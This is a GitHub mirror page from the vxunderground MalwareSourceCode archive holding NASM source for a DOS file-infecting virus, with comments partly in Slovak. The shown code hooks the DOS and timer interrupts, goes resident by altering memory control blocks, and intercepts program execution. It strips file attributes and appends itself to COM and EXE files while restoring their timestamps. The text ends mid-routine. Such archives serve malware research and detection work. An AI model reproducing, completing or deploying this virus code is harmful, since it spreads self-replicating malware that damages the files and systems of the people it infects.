mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
1195 lines
28 KiB
NASM
1195 lines
28 KiB
NASM
MCB_type equ 0
|
||
MCB_owner equ 1
|
||
MCB_size equ 3
|
||
data_3e equ 12h
|
||
data_4e equ 0
|
||
data_5e equ 2
|
||
data_6e equ 4
|
||
data_7e equ 6
|
||
data_8e equ 8
|
||
data_9e equ 0Ah
|
||
data_12e equ 0Eh
|
||
data_13e equ 10h
|
||
data_14e equ 11h
|
||
data_15e equ 12h
|
||
data_16e equ 18h
|
||
data_17e equ 1Ah
|
||
data_18e equ 1Ch
|
||
data_19e equ 1Eh
|
||
data_20e equ 20h
|
||
old_21 equ 2Ah
|
||
data_22e equ 2Eh
|
||
data_23e equ 30h
|
||
data_24e equ 32h
|
||
data_25e equ 34h
|
||
old_1c equ 36h
|
||
data_27e equ 3Ah
|
||
data_28e equ 3Ch
|
||
data_29e equ 3Eh
|
||
data_30e equ 56h
|
||
data_31e equ 58h
|
||
data_32e equ 5Ah
|
||
data_33e equ 5Bh
|
||
data_34e equ 5Ch
|
||
data_35e equ 5Dh
|
||
data_36e equ 5Eh
|
||
data_37e equ 5Fh
|
||
data_38e equ 62h
|
||
data_39e equ 66h
|
||
data_40e equ 68h
|
||
|
||
newcom segment byte
|
||
assume cs:newcom, ds:newcom
|
||
|
||
org 100h
|
||
|
||
start: jmp start_virus
|
||
old_program: mov ah,9
|
||
int 21h ;Display char string at DS:DX
|
||
mov ax,4C00h
|
||
int 21h ;Terminate with al=return code
|
||
db 0,0,0,0,0,0
|
||
db 8,0
|
||
db 92 dup (0)
|
||
text db 'Hello virus !$'
|
||
|
||
; ----------------------------------------------------------------------------
|
||
; Tu zacina zamotne telo virusu (Offset 180h)
|
||
; ----------------------------------------------------------------------------
|
||
db 0, 0
|
||
|
||
run label byte
|
||
db 0F4h, 7Ah, 2Ch, 0
|
||
db 0, 0, 7Eh, 0, 0BEh
|
||
db 0Ah
|
||
|
||
old_bytes: mov dx,170h ;Povodny program 20h byte
|
||
mov ah,9
|
||
int 21h
|
||
mov ax,4C00h
|
||
int 21h
|
||
db 20 dup (0)
|
||
|
||
db 97h, 0Ch, 0B5h, 7, 97h, 0Ch
|
||
db 0B5h, 7, 56h, 1, 0F5h, 6
|
||
db 53h, 0FFh, 0, 0F0h, 5, 0
|
||
db 0F6h, 5Ah, 74h, 17h, 0DEh,0
|
||
db 6Ah, 0, 2Eh, 83h, 3Eh, 0C8h
|
||
db 6, 5Ch, 7, 70h, 0, 2Eh
|
||
db 83h, 3Eh, 0C8h, 6, 5Ch, 7
|
||
db 70h, 0
|
||
|
||
loc_1: add [bx+si],ax
|
||
and [bx+di],al
|
||
add [bx+di],al
|
||
add [bx+si],al
|
||
mov al,1
|
||
add [bx+si],al
|
||
adc [bx+si],al
|
||
add [bx+di],al
|
||
add [bp+si],al
|
||
mov [bx+si],ax
|
||
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; SUBROUTINE
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
sub_1: mov ax,[si]
|
||
sub ax,0BBh
|
||
jc loc_3 ;Jump if carry Set
|
||
cmp ax,8
|
||
nop
|
||
jc loc_3 ;Jump if carry Set
|
||
|
||
loc_2: mov [si],ax
|
||
retn
|
||
|
||
loc_3: mov ax,9
|
||
jmp short loc_2 ;(01F7)
|
||
|
||
; ------------------------------------------------------------------------
|
||
; New Timer interrupt
|
||
; ------------------------------------------------------------------------
|
||
new_1c: inc cs:timer_count
|
||
jmp dword ptr cs:old_1c
|
||
|
||
; ------------------------------------------------------------------------
|
||
nutena_1: jmp dword ptr cs:old_21
|
||
loc_iret: jmp dword ptr ds:old_21 ;A odtial na vir_in_memory
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; SUBROUTINE
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
sub_2: mov ah,40h ;'@'
|
||
jmp short loc_4 ;(0218)
|
||
|
||
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
|
||
sub_3: mov ah,3Fh ;'?'
|
||
loc_4: call sub_6 ;(0224)
|
||
jc loc_ret_5 ;Jump if carry Set
|
||
cmp ax,cx
|
||
|
||
loc_ret_5: retn
|
||
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; SUBROUTINE
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
sub_4: xor al,al ;Zero register
|
||
|
||
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
|
||
sub_5: mov ah,42h ;'B'
|
||
|
||
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
|
||
sub_6: mov bx,cs:data_27e ;(8002:003A=0)
|
||
|
||
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
|
||
sub_7: int 21h ;DOS Services ah=function 45h
|
||
; duplicate handle bx, ax=new #
|
||
retn
|
||
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; SUBROUTINE
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
sub_8: push bx
|
||
push ax
|
||
mov bx,cs:data_27e ;(8002:003A=0)
|
||
mov ah,45h ;'E'
|
||
call sub_7 ;(0229)
|
||
jc loc_6 ;Jump if carry Set
|
||
mov bx,ax
|
||
mov ah,3Eh ;'>'
|
||
call sub_7 ;(0229)
|
||
jmp short loc_7 ;(0244)
|
||
loc_6: clc ;Clear carry flag
|
||
loc_7: pop ax
|
||
pop bx
|
||
retn
|
||
|
||
db 0B0h, 3, 0CFh
|
||
loc_8: mov ax,1
|
||
push cs
|
||
pop es
|
||
inc sp
|
||
inc sp
|
||
sti ;Enable interrupts
|
||
stc ;Set carry flag
|
||
retf 2 ;Return far
|
||
loc_9: mov ax,2Ch
|
||
jmp short loc_12 ;(0297)
|
||
loc_10: mov al,cs:data_37e ;(8002:005F=0)
|
||
xor ah,ah ;Zero register
|
||
jmp short loc_12 ;(0297)
|
||
loc_11: mov cs:data_37e,cl ;(8002:005F=0)
|
||
jmp short loc_12 ;(0297)
|
||
|
||
; ---------------------------------------------------------------------------
|
||
; New DOS interrupt
|
||
; ---------------------------------------------------------------------------
|
||
new_21: pushf ;Push flags
|
||
cmp ah,4Bh ;Exec ?
|
||
je DOS_exec
|
||
cmp ah,4Ch ;Exit ?
|
||
je DOS_exit
|
||
cmp ah,8 ;Standart input to AL ?
|
||
je DOS_input
|
||
|
||
cmp ah,0C5h ;Virus fun
|
||
je loc_12
|
||
cmp ax,0C545h ;Virus fun
|
||
je loc_9
|
||
cmp ax,0C607h ;Virus fun
|
||
je loc_10
|
||
cmp ax,0C602h ;Virus fun
|
||
je loc_11
|
||
cmp ax,0C603h ;Virus fun
|
||
je loc_8
|
||
popf ;Pop flags
|
||
jmp DOS_return
|
||
|
||
loc_12: popf ;Pop flags
|
||
sti ;Enable interrupts
|
||
stc ;Set carry flag
|
||
retf 2 ;Return far
|
||
|
||
DOS_input: jmp DOS_input_
|
||
|
||
DOS_exit: cmp byte ptr cs:data_58,2 ;(8002:0C16=0)
|
||
jne loc_15 ;Jump if not equal
|
||
mov byte ptr cs:data_49,6Fh ;(8002:0BF6=0) 'o'
|
||
nop
|
||
mov byte ptr cs:data_59,1 ;(8002:0C17=0)
|
||
nop
|
||
loc_15:
|
||
cmp byte ptr cs:data_59,1 ;(8002:0C17=0)
|
||
jne loc_16 ;Jump if not equal
|
||
cmp al,0
|
||
jne loc_16 ;Jump if not equal
|
||
push ax
|
||
push cx
|
||
push si
|
||
push di
|
||
push es
|
||
push ds
|
||
call sub_16 ;(0A60)
|
||
call sub_17 ;(0A7A)
|
||
call sub_18 ;(0AB0)
|
||
pop ds
|
||
pop es
|
||
pop di
|
||
pop si
|
||
pop cx
|
||
pop ax
|
||
mov byte ptr cs:data_58,0 ;(8002:0C16=0)
|
||
nop
|
||
mov byte ptr cs:data_59,0 ;(8002:0C17=0)
|
||
nop
|
||
loc_16:
|
||
popf ;Pop flags
|
||
jmp DOS_return
|
||
|
||
DOS_exec: push ax ;Backup AX
|
||
xor al,al
|
||
xchg al,cs:data_34e ;(8002:005C=0)
|
||
or al,al ;Zero ?
|
||
pop ax ;Restore AX
|
||
jnz DOS_exec_
|
||
popf
|
||
jmp DOS_return
|
||
|
||
DOS_exec_: push es ;Backup 9x register
|
||
push ds
|
||
push bp
|
||
push di
|
||
push si
|
||
push dx
|
||
push cx
|
||
push bx
|
||
push ax
|
||
mov bp,sp
|
||
cli ;Disable interrupts
|
||
mov bx,21h
|
||
|
||
; shl bx,2
|
||
db 0c1h,0e3h,2 ;Original byte for prev. instr
|
||
mov ax,0
|
||
mov es,ax
|
||
mov ax,cs:[30h]
|
||
mov es:[bx+2],ax
|
||
mov ax,cs:[2eh]
|
||
mov es:[bx],ax
|
||
sti
|
||
push cs
|
||
pop ds
|
||
cmp byte ptr ds:[5ah],0
|
||
je loc_18
|
||
jmp loc_36
|
||
|
||
loc_18: inc byte ptr ds:data_36e ;(8002:005E=0)
|
||
push word ptr ss:data_12e[bp] ; (8002:000E=0)
|
||
push word ptr ss:data_7e[bp] ;(8002:0006=0)
|
||
call sub_9 ;(0605)
|
||
lahf ;Load ah from flags
|
||
add sp,4
|
||
sahf ;Store ah into flags
|
||
jnc loc_19 ;Jump if carry=0
|
||
jmp loc_36 ;(05B4)
|
||
loc_19:
|
||
xor cx,cx ;Zero register
|
||
xor dx,dx ;Zero register
|
||
call sub_4 ;(0220)
|
||
mov dx,0Ah
|
||
mov cx,14h
|
||
call sub_3 ;(0216)
|
||
jc loc_21 ;Jump if carry Set
|
||
mov ax,ds:data_18e ;(8002:001C=0)
|
||
mul word ptr ds:data_38e ;(8002:0062=0) ax = data * ax
|
||
mov cx,dx
|
||
mov dx,ax
|
||
call sub_4 ;(0220)
|
||
mov dx,0
|
||
mov cx,2Ah
|
||
call sub_3 ;(0216)
|
||
jc loc_23 ;Jump if carry Set
|
||
cmp word ptr ds:data_4e,7AF4h ; (8002:0000=0)
|
||
jne loc_23 ;Jump if not equal
|
||
mov ax,2Ch
|
||
cmp byte ptr [bp],0
|
||
jne loc_20 ;Jump if not equal
|
||
test byte ptr ds:data_37e,2 ;(8002:005F=0)
|
||
dec di
|
||
db 6Eh
|
||
loc_20:
|
||
inc ax
|
||
cmp ds:data_5e,ax ;(8002:0002=0)
|
||
jae loc_21 ;Jump if above or =
|
||
xor cx,cx ;Zero register
|
||
xor dx,dx ;Zero register
|
||
call sub_4 ;(0220)
|
||
mov dx,0Ah
|
||
mov cx,20h
|
||
call sub_2 ;(0212)
|
||
jc loc_21 ;Jump if carry Set
|
||
call sub_8 ;(022C)
|
||
jnc loc_22 ;Jump if carry=0
|
||
loc_21:
|
||
jmp loc_35 ;(05A5)
|
||
loc_22:
|
||
mov cx,ds:data_6e ;(8002:0004=0)
|
||
mov dx,ds:data_7e ;(8002:0006=0)
|
||
call sub_4 ;(0220)
|
||
xor cx,cx ;Zero register
|
||
call sub_2 ;(0212)
|
||
jc loc_21 ;Jump if carry Set
|
||
call sub_8 ;(022C)
|
||
jc loc_21 ;Jump if carry Set
|
||
jmp short loc_19 ;(0344)
|
||
loc_23:
|
||
mov al,2
|
||
mov cx,0FFFFh
|
||
mov dx,0FFF8h
|
||
call sub_5 ;(0222)
|
||
mov dx,0Ah
|
||
mov cx,8
|
||
call sub_3 ;(0216)
|
||
jc loc_24 ;Jump if carry Set
|
||
cmp word ptr ds:data_12e,7AF4h ; (8002:000E=0)
|
||
je loc_25 ;Jump if equal
|
||
jmp short loc_28 ;(043C)
|
||
loc_24:
|
||
jmp loc_35 ;(05A5)
|
||
loc_25:
|
||
cmp byte ptr ds:data_13e,23h ; (8002:0010=0) '#'
|
||
jae loc_24 ;Jump if above or =
|
||
mov cl,ds:data_14e ;(8002:0011=0)
|
||
mov ax,ds:data_9e ;(8002:000A=0)
|
||
mov ds:data_7e,ax ;(8002:0006=0)
|
||
mov ax,word ptr ds:data_9e+2 ; (8002:000C=0)
|
||
sub ax,103h
|
||
mov word ptr ds:data_9e+1,ax ; (8002:000B=0)
|
||
cmp byte ptr ds:data_13e,9 ;(8002:0010=0)
|
||
ja loc_26 ;Jump if above
|
||
mov cl,0E9h
|
||
loc_26:
|
||
mov ds:data_9e,cl ;(8002:000A=0)
|
||
xor cx,cx ;Zero register
|
||
mov dx,cx
|
||
call sub_4 ;(0220)
|
||
mov dx,0Ah
|
||
mov cx,3
|
||
call sub_2 ;(0212)
|
||
jc loc_24 ;Jump if carry Set
|
||
call sub_8 ;(022C)
|
||
jc loc_24 ;Jump if carry Set
|
||
xor cx,cx ;Zero register
|
||
mov dx,ds:data_7e ;(8002:0006=0)
|
||
call sub_4 ;(0220)
|
||
xor cx,cx ;Zero register
|
||
call sub_2 ;(0212)
|
||
jc loc_27 ;Jump if carry Set
|
||
call sub_8 ;(022C)
|
||
jc loc_27 ;Jump if carry Set
|
||
jmp short loc_23 ;(03C1)
|
||
loc_27:
|
||
jmp loc_35 ;(05A5)
|
||
loc_28:
|
||
mov word ptr ds:data_4e,7AF4h ; (8002:0000=0)
|
||
mov word ptr ds:data_5e,2Ch ;(8002:0002=0)
|
||
mov word ptr ds:data_8e,0ABEh ; (8002:0008=0)
|
||
cmp byte ptr [bp],0
|
||
jne loc_27 ;Jump if not equal
|
||
test byte ptr ds:data_37e,1 ;(8002:005F=0)
|
||
jz loc_27 ;Jump if zero
|
||
mov al,2
|
||
xor cx,cx ;Zero register
|
||
mov dx,cx
|
||
call sub_5 ;(0222)
|
||
mov ds:data_6e,dx ;(8002:0004=0)
|
||
mov ds:data_7e,ax ;(8002:0006=0)
|
||
xor cx,cx ;Zero register
|
||
mov dx,cx
|
||
call sub_4 ;(0220)
|
||
mov dx,0Ah
|
||
mov cx,20h
|
||
call sub_3 ;(0216)
|
||
jc loc_27 ;Jump if carry Set
|
||
cmp word ptr ds:data_9e,5A4Dh ; (8002:000A=0)
|
||
je loc_29 ;Jump if equal
|
||
cmp word ptr ds:data_9e,4D5Ah ; (8002:000A=0)
|
||
jne loc_31 ;Jump if not equal
|
||
loc_29:
|
||
mov byte ptr ds:data_33e,0 ;(8002:005B=0)
|
||
mov ax,ds:data_12e ;(8002:000E=0)
|
||
mul word ptr ds:data_39e ;(8002:0066=0) ax = data * ax
|
||
sub ax,ds:data_7e ;(8002:0006=0)
|
||
sbb dx,ds:data_6e ;(8002:0004=0)
|
||
jc loc_30 ;Jump if carry Set
|
||
mov ax,ds:data_16e ;(8002:0018=0)
|
||
mul word ptr ds:data_38e ;(8002:0062=0) ax = data * ax
|
||
add ax,ds:data_17e ;(8002:001A=0)
|
||
mov cx,dx
|
||
mov bx,ax
|
||
mov ax,ds:data_15e ;(8002:0012=0)
|
||
mul word ptr ds:data_38e ;(8002:0062=0) ax = data * ax
|
||
mov di,ds:data_6e ;(8002:0004=0)
|
||
mov si,ds:data_7e ;(8002:0006=0)
|
||
add si,0Fh
|
||
adc di,0
|
||
and si,0FFF0h
|
||
sub si,ax
|
||
sbb di,dx
|
||
mov dx,cx
|
||
mov ax,bx
|
||
sub ax,si
|
||
sbb dx,di
|
||
jc loc_32 ;Jump if carry Set
|
||
add si,0DC0h
|
||
adc di,0
|
||
sub bx,si
|
||
sbb cx,di
|
||
jnc loc_32 ;Jump if carry=0
|
||
loc_30:
|
||
jmp loc_35 ;(05A5)
|
||
loc_31:
|
||
mov byte ptr ds:data_33e,1 ;(8002:005B=0)
|
||
cmp word ptr ds:data_6e,0 ;(8002:0004=0)
|
||
jne loc_30 ;Jump if not equal
|
||
cmp word ptr ds:data_7e,20h ;(8002:0006=0)
|
||
jbe loc_30 ;Jump if below or =
|
||
cmp word ptr ds:data_7e,0F277h ; (8002:0006=0)
|
||
jae loc_30 ;Jump if above or =
|
||
loc_32:
|
||
mov cx,ds:data_6e ;(8002:0004=0)
|
||
mov dx,ds:data_7e ;(8002:0006=0)
|
||
add dx,0Fh
|
||
adc cx,0
|
||
and dx,0FFF0h
|
||
call sub_4 ;(0220)
|
||
xor dx,dx ;Zero register
|
||
mov cx,0BE5h
|
||
push word ptr ds:data_37e ;(8002:005F=0)
|
||
mov byte ptr ds:data_37e,1 ;(8002:005F=0)
|
||
call sub_2 ;(0212)
|
||
pop cx
|
||
mov ds:data_37e,cl ;(8002:005F=0)
|
||
jc loc_30 ;Jump if carry Set
|
||
call sub_8 ;(022C)
|
||
jc loc_30 ;Jump if carry Set
|
||
mov dx,ds:data_6e ;(8002:0004=0)
|
||
mov ax,ds:data_7e ;(8002:0006=0)
|
||
add ax,0Fh
|
||
adc dx,0
|
||
and ax,0FFF0h
|
||
div word ptr ds:data_38e ;(8002:0062=0) ax,dxrem=dx:ax/data
|
||
mov ds:data_18e,ax ;(8002:001C=0)
|
||
cmp byte ptr ds:data_33e,0 ;(8002:005B=0)
|
||
je loc_33 ;Jump if equal
|
||
mul word ptr ds:data_38e ;(8002:0062=0) ax = data * ax
|
||
mov byte ptr ds:data_9e,0E9h ; (8002:000A=0)
|
||
add ax,557h
|
||
mov word ptr ds:data_9e+1,ax ; (8002:000B=0)
|
||
jmp short loc_34 ;(0595)
|
||
loc_33:
|
||
mov ds:data_20e,ax ;(8002:0020=0)
|
||
mov word ptr ds:data_19e,55Ah ; (8002:001E=0)
|
||
mul word ptr ds:data_38e ;(8002:0062=0) ax = data * ax
|
||
add ax,0BE5h
|
||
adc dx,0
|
||
div word ptr ds:data_39e ;(8002:0066=0) ax,dxrem=dx:ax/data
|
||
inc ax
|
||
mov ds:data_12e,ax ;(8002:000E=0)
|
||
mov word ptr ds:data_9e+2,dx ; (8002:000C=0)
|
||
mov ax,ds:data_15e ;(8002:0012=0)
|
||
sub ds:data_20e,ax ;(8002:0020=0)
|
||
mov si,14h
|
||
call sub_1 ;(01EA)
|
||
mov si,16h
|
||
call sub_1 ;(01EA)
|
||
loc_34:
|
||
xor cx,cx ;Zero register
|
||
mov dx,cx
|
||
call sub_4 ;(0220)
|
||
mov dx,0Ah
|
||
mov cx,20h
|
||
call sub_2 ;(0212)
|
||
loc_35:
|
||
call sub_14 ;(090C)
|
||
push word ptr ss:data_12e[bp] ; (8002:000E=0)
|
||
push word ptr ss:data_7e[bp] ;(8002:0006=0)
|
||
call sub_10 ;(0681)
|
||
add sp,4
|
||
loc_36:
|
||
mov byte ptr ds:data_34e,0FFh ; (8002:005C=0)
|
||
mov ds,ss:data_12e[bp] ;(8002:000E=0)
|
||
mov dx,ss:data_7e[bp] ;(8002:0006=0)
|
||
call sub_11 ;(07ED)
|
||
mov bx,21h
|
||
db 0C1h, 0E3h, 2, 0B8h, 0, 0
|
||
db 8Eh, 0C0h, 0FBh, 8Ch, 0C8h, 26h
|
||
db 89h, 47h, 2, 0B8h, 0EAh, 0
|
||
db 26h, 89h, 7, 0FAh, 58h, 5Bh
|
||
db 59h, 5Ah, 5Eh, 5Fh, 5Dh, 1Fh
|
||
db 7, 9Dh
|
||
|
||
DOS_return: pushf ;Push flags
|
||
push cs
|
||
push word ptr cs:data_40e ;(8002:0068=0)
|
||
cmp byte ptr cs:data_32e,0 ;(8002:005A=0)
|
||
jne loc_38 ;Jump if not equal
|
||
iret ;Interrupt return
|
||
|
||
loc_38: push bp
|
||
mov bp,sp
|
||
or word ptr ss:data_7e[bp],100h ; (8002:0006=0)
|
||
mov byte ptr cs:data_32e,0 ;(8002:005A=0)
|
||
pop bp
|
||
iret ;Interrupt return
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; SUBROUTINE
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
sub_9: push bp
|
||
mov bp,sp
|
||
push es
|
||
push dx
|
||
push cx
|
||
push bx
|
||
push ax
|
||
mov ax,3300h
|
||
call sub_7 ;(0229)
|
||
mov ds:data_35e,dl ;(8002:005D=0)
|
||
mov ax,3301h
|
||
xor dl,dl ;Zero register
|
||
call sub_7 ;(0229)
|
||
mov ax,3524h
|
||
call sub_7 ;(0229)
|
||
mov ds:data_25e,es ;(8002:0034=8002h)
|
||
mov ds:data_24e,bx ;(8002:0032=0)
|
||
mov dx,0C7h
|
||
mov ax,2524h
|
||
call sub_7 ;(0229)
|
||
mov ax,4300h
|
||
push ds
|
||
lds dx,dword ptr ss:data_6e[bp] ; (8002:0004=0) Load 32 bit ptr
|
||
call sub_7 ;(0229)
|
||
pop ds
|
||
jc loc_41 ;Jump if carry Set
|
||
mov ds:data_31e,cl ;(8002:0058=0)
|
||
test cl,1
|
||
jz loc_39 ;Jump if zero
|
||
mov ax,4301h
|
||
push ds
|
||
xor cx,cx ;Zero register
|
||
lds dx,dword ptr ss:data_6e[bp] ; (8002:0004=0) Load 32 bit ptr
|
||
call sub_7 ;(0229)
|
||
pop ds
|
||
jc loc_41 ;Jump if carry Set
|
||
loc_39:
|
||
mov ax,3D02h
|
||
push ds
|
||
lds dx,dword ptr ss:data_6e[bp] ; (8002:0004=0) Load 32 bit ptr
|
||
call sub_7 ;(0229)
|
||
pop ds
|
||
jc loc_40 ;Jump if carry Set
|
||
mov ds:data_27e,ax ;(8002:003A=0)
|
||
mov ax,5700h
|
||
call sub_6 ;(0224)
|
||
mov ds:data_28e,cx ;(8002:003C=0)
|
||
mov ds:data_29e,dx ;(8002:003E=0)
|
||
pop ax
|
||
pop bx
|
||
pop cx
|
||
pop dx
|
||
pop es
|
||
pop bp
|
||
clc ;Clear carry flag
|
||
retn
|
||
|
||
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
|
||
sub_10:
|
||
push bp
|
||
mov bp,sp
|
||
push es
|
||
push dx
|
||
push cx
|
||
push bx
|
||
push ax
|
||
mov cx,ds:data_28e ;(8002:003C=0)
|
||
mov dx,ds:data_29e ;(8002:003E=0)
|
||
mov ax,5701h
|
||
call sub_6 ;(0224)
|
||
mov ah,3Eh ;'>'
|
||
call sub_6 ;(0224)
|
||
loc_40:
|
||
mov cl,ds:data_31e ;(8002:0058=0)
|
||
xor cl,20h ;' '
|
||
and cl,3Fh ;'?'
|
||
test cl,21h ;'!'
|
||
jz loc_41 ;Jump if zero
|
||
mov ax,4301h
|
||
push ds
|
||
xor ch,ch ;Zero register
|
||
mov cl,ds:data_31e ;(8002:0058=0)
|
||
lds dx,dword ptr ss:data_6e[bp] ; (8002:0004=0) Load 32 bit ptr
|
||
call sub_7
|
||
pop ds
|
||
loc_41:
|
||
mov ax,2524h
|
||
push ds
|
||
lds dx,dword ptr ds:data_24e ; (8002:0032=0) Load 32 bit ptr
|
||
call sub_7 ; (0229)
|
||
pop ds
|
||
data_43 dw 168Ah
|
||
db 5Dh, 0, 0B8h, 1, 33h, 0E8h
|
||
db 57h, 0FBh, 58h, 5Bh, 59h, 5Ah
|
||
db 7, 5Dh, 0F9h, 0C3h
|
||
|
||
; ------------------------------------------------------------------------
|
||
; Start samotneho vira
|
||
; ------------------------------------------------------------------------
|
||
start_virus: call start_virus_ ;Push offset start_virus_
|
||
start_virus_: pop bx
|
||
sub bx,start_virus_-run ;BX = offset run
|
||
mov byte ptr cs:[bx+data_34e],0FFh ;(8002:005C=0)
|
||
cld
|
||
cmp byte ptr cs:[bx+data_33e],0 ;(8002:005B=0)
|
||
je loc_42
|
||
mov si,old_bytes-run
|
||
add si,bx ;SI = off old_bytes
|
||
mov di,offset start
|
||
mov cx,20h ;Length backup ...
|
||
rep movsb ;Restore original program
|
||
|
||
push cs
|
||
mov cx,100h
|
||
push cx ;Push CS:0100h
|
||
push es ;Backup ES,DS,AX
|
||
push ds
|
||
push ax
|
||
jmp short obskok_1
|
||
|
||
loc_42: mov dx,ds
|
||
add dx,10h
|
||
add dx,cs:data_20e ;(8002:0020=0)
|
||
push dx
|
||
push word ptr cs:data_19e ;(8002:001E=0)
|
||
push es
|
||
push ds
|
||
push ax
|
||
|
||
obskok_1: push bx ;Backup BX (offset run)
|
||
clc ;Clear carry flag
|
||
mov ax,0C603h ;Neexistujuca funkcia DOS
|
||
int 21h ;Test pritomnosti v RAM
|
||
pop bx ;Restore offset run
|
||
jnc install ;Install virus if not allow
|
||
cmp ax,1
|
||
ja vir_in_memory ;Jump if virus in memory
|
||
call sub_19
|
||
|
||
vir_in_memory: pop ax ;Restore AX,DS,ES
|
||
pop ds
|
||
pop es
|
||
retf ;Jump to original prog.(100h)
|
||
|
||
install: cmp byte ptr cs:[bx+data_33e],0 ;(8002:005B=0)
|
||
je loc_43 ;Jump if equal
|
||
cmp sp,0FFF0h
|
||
jb vir_in_memory
|
||
|
||
loc_43: mov ax,ds ;Set ES to MCB
|
||
dec ax
|
||
mov es,ax
|
||
cmp byte ptr es:MCB_type,'Z' ;This memory block is last ?
|
||
je loc_45
|
||
push bx ;Backup offset run
|
||
mov ah,48h
|
||
mov bx,0FFFFh ;Maximum
|
||
int 21h ;Test available memory block
|
||
|
||
cmp bx,0CFh ;Je aspon kusok volneho ?
|
||
jb loc_44
|
||
mov ah,48h ;Zaalokuj vsetko co je k disp.
|
||
int 21h
|
||
|
||
loc_44: pop bx ;Restore offset RUN
|
||
jc vir_in_memory ;Let it be if not enought mem.
|
||
|
||
dec ax ;Decr. segment adress mem block
|
||
mov es,ax ;ES - MCB for allocated block
|
||
cli
|
||
mov word ptr es:MCB_owner,0 ;Nastav vlastnika bloku na 0
|
||
cmp byte ptr es:MCB_type,'Z';Last memory block ?
|
||
jne vir_in_memory
|
||
|
||
add ax,es:MCB_size
|
||
inc ax
|
||
mov es:data_3e,ax ;0012
|
||
|
||
loc_45: mov ax,es:MCB_size ;AX - size of memory block
|
||
sub ax,0CFh ; - virus size
|
||
jc vir_in_memory ;Jump if error size
|
||
|
||
mov es:MCB_size,ax ;Set new value
|
||
sub word ptr es:data_3e,0CFh ;0012 ??????
|
||
mov es,es:data_3e ;0012
|
||
xor di,di
|
||
mov si,bx ;CS:SI = RUN, ES:DI =new block
|
||
mov cx,0BE5h ;CX = virus length
|
||
rep movs byte ptr es:[di],cs:[si] ;Copy virus to new block
|
||
push es
|
||
pop ds ;DS - new segment
|
||
push bx ;Backup RUN
|
||
mov ax,3521h
|
||
int 21h ;ES:BX = getinterupt (21h)
|
||
|
||
mov word ptr ds:old_21+2,es ;Backup
|
||
mov ds:old_21,bx
|
||
mov ds:data_23e,es ;0030
|
||
mov ds:data_22e,bx ;002E
|
||
mov ax,351Ch
|
||
int 21h ;ES:BX = geninterrupt (1Ch)
|
||
|
||
mov word ptr ds:old_1c+2,es ;Backup
|
||
mov ds:old_1c,bx
|
||
pop bx ;Restore offset RUN
|
||
mov ax,2521h
|
||
mov dx,0EAh ;New
|
||
int 21h ;Redefine DOS interrupt
|
||
|
||
mov dx,7Fh ;New
|
||
pushf
|
||
mov ax,bx
|
||
add ax,vir_in_memory-run
|
||
push cs ;Push far adr. vir_in_memory
|
||
push ax
|
||
cli
|
||
|
||
pushf ;Push flag
|
||
pop ax ;Pop flag
|
||
or ax,100h ;Clear Trace flag (No step)
|
||
push ax ;Push modif. flag
|
||
|
||
mov ax,bx ;Offset RUN
|
||
add ax,loc_iret-run
|
||
push cs ;Push loc_iret far adress
|
||
push ax
|
||
mov ax,251Ch ;Set parameters for DOS int.
|
||
mov byte ptr ds:data_30e,1 ;0056
|
||
iret ;Jmp to loc_iret
|
||
|
||
;-------------------------------------------------------------------------
|
||
; SUBROUTINE
|
||
;-------------------------------------------------------------------------
|
||
sub_11: mov cx,50h
|
||
mov si,dx
|
||
cld ;Clear direction
|
||
xor ax,ax ;Zero register
|
||
mov cs:data_56,ax ;(8002:0C12=0)
|
||
|
||
locloop_46:
|
||
inc cs:data_56 ;(8002:0C12=0)
|
||
lodsb ;String [si] to al
|
||
